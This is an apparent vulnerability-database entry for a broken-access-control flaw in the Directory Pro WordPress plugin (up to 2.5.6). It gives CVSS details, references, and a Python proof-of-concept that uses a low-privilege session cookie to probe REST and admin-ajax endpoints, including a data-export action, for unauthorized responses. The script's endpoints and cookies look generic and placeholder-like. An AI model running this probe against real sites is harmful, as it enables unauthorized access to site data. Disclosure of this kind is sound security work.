CVE-2025-64243

Description

Missing Authorization vulnerability in e-plugins Directory Pro directory-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Directory Pro: from n/a through <= 2.5.6.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Directory Pro (WordPress) <= 2.5.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64243 PoC - Directory Pro Broken Access Control
# Affected: Directory Pro <= 2.5.6

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'

# Low-privilege user session required
cookies = {
    'wordpress_test_cookie': 'WP+Cookie+check',
    'wordpress_logged_in_xxx': 'low_priv_user_token'
}

# Enumerate accessible directories without proper authorization
endpoints = [
    '/wp-json/directory-pro/v1/directories',
    '/wp-json/directory-pro/v1/listings',
    '/wp-admin/admin-ajax.php?action=get_directory_listings',
    '/wp-admin/admin-ajax.php?action=dp_export_data'
]

for endpoint in endpoints:
    url = target + endpoint
    try:
        resp = requests.get(url, cookies=cookies, timeout=10)
        if resp.status_code == 200 and 'application/json' in resp.headers.get('Content-Type', ''):
            print(f'[+] Unauthorized access possible: {endpoint}')
            print(f'Response: {resp.text[:500]}')
    except Exception as e:
        print(f'[-] Error: {e}')

# Note: Requires valid low-privilege WordPress account

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64243
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64243
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64243/
[4] VulDB https://vuldb.com/cve/CVE-2025-64243
[5] https://patchstack.com/database/Wordpress/Plugin/directory-pro/vulnerability/wordpress-directory-pro-plugin-2-5-6-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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